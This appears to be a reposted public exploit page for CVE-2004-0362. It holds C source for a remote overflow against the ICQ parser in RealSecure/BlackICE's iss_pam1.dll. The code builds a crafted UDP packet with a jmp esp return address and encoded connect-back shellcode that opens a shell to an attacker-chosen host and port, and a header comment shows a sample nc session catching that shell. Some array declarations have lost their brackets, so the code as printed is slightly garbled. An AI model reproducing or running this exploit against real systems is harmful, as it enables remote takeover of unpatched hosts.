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CVE-2004-0362 RealSecure / Blackice – ‘iss pam1.dll’ 远程溢出漏洞

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,

EXP

/* 557iss_pam_exp - RealSecure / Blackice ICQ iss_pam1.dll remote overflow exploit
*
* Copyright (c) SST 2004 All rights reserved.
*
* Public version
*
* code by Sam (Sam`@efnet) and 2004/03/26 
* <email protected>
* <email protected>
* 
* 
*
* Compile: gcc -o 557iss_pam_exp 557iss_pam_exp.c
*
* how works?
* email protected exp# ./557iss_pam_exp 192.168.10.2 192.168.10.169 5570
* 557iss_pam_exp - RealSecure / Blackice iss_pam1.dll remote overflow exploit
* - Sam
*
* # attack remote host: 192.168.10.2.
* # listen host: 192.168.10.169.
* # listen port: 5570.
* # send overflow udp datas
* # 1199 bytes send
* # done.
* # make sure we are in, dude :)
*
*
* email protected root# nc -vv -l -p 5570
* listening on any 5570 ...
* 192.168.10.2: inverse host lookup failed: Host name lookup failure
* connect to 192.168.10.169 from (UNKNOWN) 192.168.10.2 3604
* Microsoft Windows XP Version 5.1.2600
* (C) Copyright 1985-2001 Microsoft Corp.
*
* C:\Program Files\ISS\BlackICE>
* C:\Program Files\ISS\BlackICE>
* C:\Program Files\ISS\BlackICE>
*
*
* some thanks/greets to:
* eeye (they find this bug :D), airsupply, kkqq, icbm, my gf :I
* and everyone else who's KNOW SST ;P
* http://0x557.org
*/

#include <stdio.h>
#include <unistd.h>
#include <stdarg.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <assert.h>
#include <fcntl.h>
#include <sys/time.h>

char icq_header  =
"\x05\x00" // ICQ VERSION
"\x00" // unused
"\x00\x00\x00\x00" // Session ID
"\x12\x02" // reply to SRV_MULTI_PACKET 
"\x00\x00\x00\x00" // SEQ_NUM1 and SEQ_NUM2
"\x00\x00\x00\x00" // UIN Your (the client's) UIN 
"\x00\x00\x00\x00" // CHECKCODE
"\x02" // SRV_MULTI Parameter Block 1 of 2
// Number of individual responses
"\x2c\x00" // Size of sub-response (44 bytes, little-endian) 

"\x05\x00" // ICQ VERSION
"\x00" // unused 
"\x00\x00\x00\x00" // Session ID
"\x6e\x00" // reply to SRV_USER_OLINE
"\x00\x00\x00\x00" // SEQ_NUM1 and SEQ_NUM2
"\x00\x00\x00\x00" // UIN Your (the client's) UIN
"\x00\x00\x00\x00" // CHECKCODE
"\x00\x00\x00\x00" // UIN of user changing status
"\x01\x00\x00\x00" // Other user's IP address (1.0.0.0)
"\x00\x00\x00\x00" // Other user's direct-connect port (default)
"\x00"
"\x00\x00\x00\x00"
"\x00\x00\x00\x00"
"\x00\x00"
"\x41\x02" // SRV_MULTI Parameter Block 2 of 2 
// Size of sub-response (577 bytes)

"\x05\x00" // ICQ VERSION
"\x00" // unused 
"\x00\x00\x00\x00" // Session ID
"\xde\x03" // reply to SRV_META_USER
"\x00\x00\x00\x00" // SEQ_NUM1 and SEQ_NUM2
"\x00\x00\x00\x00" // UIN Your (the client's) UIN
"\x00\x00\x00\x00" // CHECKCODE
"\x00\x00\x00\x01" 
"\x00\x00\x01\x00"
"\x00\x01\x00\x00"
"\x1e\x02";


struct sockaddr_in addr, local;
char *bindHost = NULL;
unsigned short port;
/* 
* hsj's connect back shellcodes
*/
char shellcode  =
/* decoder */
"\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x58\x83\xc0\x1b\x8d\xa0\x01"
"\xfc\xff\xff\x83\xe4\xfc\x8b\xec\x33\xc9\x66\xb9\x99\x01\x80\x30"
"\x93\x40\xe2\xfa"
/* code */
"\x7b\xe4\x93\x93\x93\xd4\xf6\xe7\xc3\xe1\xfc\xf0\xd2\xf7\xf7\xe1"
"\xf6\xe0\xe0\x93\xdf\xfc\xf2\xf7\xdf\xfa\xf1\xe1\xf2\xe1\xea\xd2"
"\x93\xd0\xe1\xf6\xf2\xe7\xf6\xc3\xe1\xfc\xf0\xf6\xe0\xe0\xd2\x93"
"\xd0\xff\xfc\xe0\xf6\xdb\xf2\xfd\xf7\xff\xf6\x93\xd6\xeb\xfa\xe7"
"\xc7\xfb\xe1\xf6\xf2\xf7\x93\xe4\xe0\xa1\xcc\xa0\xa1\x93\xc4\xc0"
"\xd2\xc0\xe7\xf2\xe1\xe7\xe6\xe3\x93\xc4\xc0\xd2\xc0\xfc\xf0\xf8"
"\xf6\xe7\xd2\x93\xf0\xff\xfc\xe0\xf6\xe0\xfc\xf0\xf8\xf6\xe7\x93"
"\xf0\xfc\xfd\xfd\xf6\xf0\xe7\x93\xf0\xfe\xf7\x93\xc9\xc1\x28\x93"
"\x93\x63\xe4\x12\xa8\xde\xc9\x03\x93\xe7\x90\xd8\x78\x66\x18\xe0"
"\xaf\x90\x60\x18\xe5\xeb\x90\x60\x18\xed\xb3\x90\x68\x18\xdd\x87"
"\xc5\xa0\x53\xc4\xc2\x18\xac\x90\x68\x18\x61\xa0\x5a\x22\x9d\x60"
"\x35\xca\xcc\xe7\x9b\x10\x54\x97\xd3\x71\x7b\x6c\x72\xcd\x18\xc5"
"\xb7\x90\x40\x42\x73\x90\x51\xa0\x5a\xf5\x18\x9b\x18\xd5\x8f\x90"
"\x50\x52\x72\x91\x90\x52\x18\x83\x90\x40\xcd\x18\x6d\xa0\x5a\x22"
"\x97\x7b\x08\x93\x93\x93\x10\x55\x98\xc1\xc5\x6c\xc4\x63\xc9\x18"
"\x4b\xa0\x5a\x22\x97\x7b\x14\x93\x93\x93\x10\x55\x9b\xc6\xfb\x92"
"\x92\x93\x93\x6c\xc4\x63\x16\x53\xe6\xe0\xc3\xc3\xc3\xc3\xd3\xc3"
"\xd3\xc3\x6c\xc4\x67\x10\x6b\x6c\xe7\xf0\x18\x4b\xf5\x54\xd6\x93"
"\x91\x93\xf5\x54\xd6\x91\x28\x39\x54\xd6\x97\x4e\x5f\x28\x39\xf9"
"\x83\xc6\xc0\x6c\xc4\x6f\x16\x53\xe6\xd0\xa0\x5a\x22\x82\xc4\x18"
"\x6e\x60\x38\xcc\x54\xd6\x93\xd7\x93\x93\x93\x1a\xce\xaf\x1a\xce"
"\xab\x1a\xce\xd3\x54\xd6\xbf\x92\x92\x93\x93\x1e\xd6\xd7\xc3\xc6"
"\xc2\xc2\xc2\xd2\xc2\xda\xc2\xc2\xc5\xc2\x6c\xc4\x77\x6c\xe6\xd7"
"\x6c\xc4\x7b\x6c\xe6\xdb\x6c\xc4\x7b\xc0\x6c\xc4\x6b\xc3\x6c\xc4"
"\x7f\x19\x95\xd5\x17\x53\xe6\x6a\xc2\xc1\xc5\xc0\x6c\x41\xc9\xca"
"\x1a\x94\xd4\xd4\xd4\xd4\x71\x7a\x50";




/* udpconnect:
* 
*/
int udpConnect (char *hostName)
{

struct hostent* host = NULL;
int sock = -1;

host = gethostbyname (hostName);
if (NULL == host) {
perror ("gethostbyname() failed");
return -1;
}

sock = socket (AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if ( -1 == sock) {
perror ("socket() failed\n");
return -1;
}

memset (&addr, 0x00, sizeof (addr));
addr.sin_addr = *(struct in_addr *) host->h_addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(random());

memset (&local, 0x00, sizeof (local));
local.sin_family = AF_INET;
local.sin_addr.s_addr = htonl (INADDR_ANY);
local.sin_port = htons(4000);


if (bind (sock, (struct sockaddr *) &local, sizeof(local)) != 0) {
perror ("bind error\n");
return -1;
}

return sock;
}

/* resolve listen host
*/
unsigned int resolve (char *name)
{
struct hostent *he;
unsigned int ip;

if ((ip = inet_addr (name)) == (-1)) {
if ((he = gethostbyname (name)) ==0 )
return 0;
memcpy (&ip, he->h_addr, 4);
}
return ip;
}


/*
* send datas
*/
int udp_send (int sock, char *buffer, int buff_len)
{
int ret;

ret = sendto (sock, buffer, buff_len, 0, (struct sockaddr *)&addr,
sizeof (struct sockaddr_in));
if (ret <= NULL) {
perror ("sendto failed\n");
return -1;
}

fprintf (stderr, "# %d bytes send\n", ret);

return ret;
}

/*
* send evil datas, fuck ISS's blackice.
*/
int do_sendudp_data (char *hostName)
{
unsigned int cb;
int sock;
char expbuf1200;

memset (expbuf, 0x90, sizeof (expbuf));
memcpy (expbuf, icq_header, sizeof (icq_header) - 1);

/*
* jmp esp opcodes from iss_pam1.dll
*/
*(unsigned int *)&expbuf637 = 0x5e077663;

if (!(cb = resolve (bindHost))) {
printf ("Unknown listen host\n");
return -1;
}
port = htons (port);
port ^= 0x9393;
cb ^= 0x93939393;

*(unsigned short *)&shellcode330 = port;
*(unsigned int *)&shellcode335 = cb;

memcpy (expbuf + 637 + 4, shellcode, strlen (shellcode));
if ((sock = udpConnect (hostName)) < 0) {
printf ("connect failed\n");
exit (-1);
}

fprintf (stderr, "# send overflow udp datas\n");
udp_send (sock, expbuf, sizeof (expbuf) - 1);

close (sock);
return 0;


}


/*
* just main . dude.
*/
int main (int argc, char **argv)
{
int new;
char *target = NULL;

fprintf (stderr, "557iss_pam_exp - RealSecure / Blackice iss_pam1.dll remote overflow exploit\n - Sam\n\n");
if (argc != 4) {
fprintf (stderr, "%s <hostname> <listenhost> <listen port>\n", argv0);
fprintf (stderr, "listenhost, port: connect back host and port\n\n");
return -1;
}

target = argv1;
bindHost = argv2;
port = atoi (argv3);

fprintf (stderr, "# attack remote host: %s. \n", target);
fprintf (stderr, "# listen host: %s. \n", bindHost);
fprintf (stderr, "# listen port: %d. \n", port);
do_sendudp_data (target);

fprintf (stderr, "# done.\n");

fprintf (stderr, "# make sure we are in, dude :)\n\n");

return 0;
}

// milw0rm.com 2004-03-28
            

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